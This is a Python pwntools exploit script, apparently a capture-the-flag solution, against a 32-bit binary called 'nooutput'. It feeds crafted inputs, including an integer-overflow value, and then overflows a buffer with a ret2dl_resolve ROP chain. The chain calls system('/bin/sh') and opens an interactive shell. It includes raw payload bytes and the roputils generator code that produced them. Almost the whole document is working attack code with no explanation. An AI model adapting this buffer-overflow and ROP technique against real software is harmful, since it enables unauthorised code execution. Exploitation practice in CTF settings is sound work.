from pwn import *
context.log_level = 'debug'

p = process('./nooutput')
#p = remote('39.105.138.97','1234')
e = ELF('./nooutput')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
read_got = e.got['read']
read_plt = e.plt['read']
open_plt = e.plt['open']
libc_start_main = e.got['__libc_start_main']
pop3_ret = 0x08049581

#gdb.attach(p)#,'b *0x08049267')
#pause()

p.send('\x00'*0x30)
p.send('b'*0x20)

p.sendline('hello_boy')

p.sendline(str('-9223372036854775808'))
p.sendline(str('-1'))

'''
payload0 = p32(open_plt) + p32(pop3_ret) + p32(0x0804A0D3) + p32(0x0) + p32(0)
#readfile
payload1 = p32(read_plt) + p32(pop3_ret) + p32(0x4) + p32(0x0804C060) + p32(0x10)
#read over got
payload2 = p32(read_plt) + p32(pop3_ret) + p32(0x0) + p32(read_got) + p32(0x1)
#write buf
payload3 = p32(read_plt) + p32(0x0804923A) + p32(0x1) + p32(0x0804C060) + p32(0x10)
p.sendline(b'a'*0x4c + payload0 + payload1 + payload2 + payload3)

p.sendline('\x90')#
#pp = p.recvn(0x10,timeout='10')
#print(pp)
#print(p.recvn(5,timeout='10'))
'''

payload0 = b'\x50\x90\x04\x08\x81\x95\x04\x08\x00\x00\x00\x00\x40\xc0\x04\x08\x64\x00\x00\x00\x30\x90\x04\x08\x48\x3c\x00\x00\x22\x90\x04\x08\x40\xc0\x04\x08'
payload1 = b'\x2f\x62\x69\x6e\x2f\x73\x68\x00\x4a\x33\x53\x58\x45\x58\x6c\x56\x6a\x64\x62\x67\x70\x77\x56\x74\x75\x78\x71\x6d\x54\xc0\x04\x08\x07\xe2\x03\x00\x5a\x35\x75\x6a\x60\x3d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x73\x79\x73\x74\x65\x6d\x00\x49\x38\x36\x32\x31\x6b\x61\x4b\x75\x36\x67\x59\x45\x68\x35\x75\x49\x47\x4c\x31\x58\x30\x70\x45\x52\x68\x69\x73\x74\x6e\x47\x4d\x4b\x64\x4e\x38\x30'

p.sendline(b'a'*0x4c + payload0)
p.sendline(payload1)
p.interactive()

#payload0 and payload1 from this script
'''
from roputils import *

rop = ROP('./nooutput')

bss_base = rop.section('.bss')

payload1 = rop.call('read', 0, bss_base, 100)
payload1 += rop.dl_resolve_call(bss_base + 20, bss_base)
for i in range(len(payload1)):
    print '\\x%02x'%ord(payload1[i]),
print

payload2 = rop.string('/bin/sh')
payload2 += rop.fill(20, payload2)
payload2 += rop.dl_resolve_data(bss_base + 20, 'system')
payload2 += rop.fill(100, payload2)

for i in range(len(payload2)):
    print '\\x%02x'%ord(payload2[i]),
print
'''